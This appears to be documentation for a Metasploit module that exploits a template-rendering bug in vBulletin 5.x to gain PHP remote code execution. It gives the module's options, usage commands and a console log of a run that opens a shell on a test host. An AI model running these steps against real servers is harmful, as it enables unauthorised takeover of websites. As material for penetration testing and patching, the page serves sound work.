Spencer McIntyre
2.2 KiB
Vulnerable Application
vBulletin A popular PHP bulletin board and blog web application. This module has been tested successfully against vBulletin 5.6.2 running on Ubuntu Linux 19.04.
Description
This module exploits a logic bug within the template rendering code of vBulletin 5.x. The module uses the vBulletin template rendering functionality to render the 'widget_tabbedcontainer_tab_panel' template while also providing the 'widget_php' argument which causes the former template to load the latter bypassing filters originally put in place to address 'CVE-2019-16759'. This also allows the exploit to reach an eval call with user input allowing the module to achieve PHP remote code execution on the target. This module has been tested successfully on vBulletin version 5.6.2 on Ubuntu Linux.
Verification Steps
- Do:
use exploit/multi/http/vbulletin_widget_template_rce - Do:
set RHOSTS [IP] - Do:
set VHOST [HOSTNAME] - Do:
set LHOST [IP] - Do:
set TARGETURI [PATH] - Do:
set PAYLOAD [PAYLOADNUM] - Do:
run
Options
TARGETURI
The base URI path of vBulletin. Default: /
PHP_CMD
The PHP function to use to execute commands on the target. Default: shell_exec
Scenarios
msf6 > use exploit/multi/http/vbulletin_widget_template_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set VHOST vb.local
VHOST => vb.local
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set PAYLOAD 5
msf6 exploit(multi/http/vbulletin_widget_template_rce) > run
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending php/bind_perl command payload
[*] Started bind TCP handler against 127.0.0.1:4444
[*] Command shell session 1 opened (0.0.0.0:0 -> 127.0.0.1:4444) at 2020-08-09 06:29:57 -0500
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)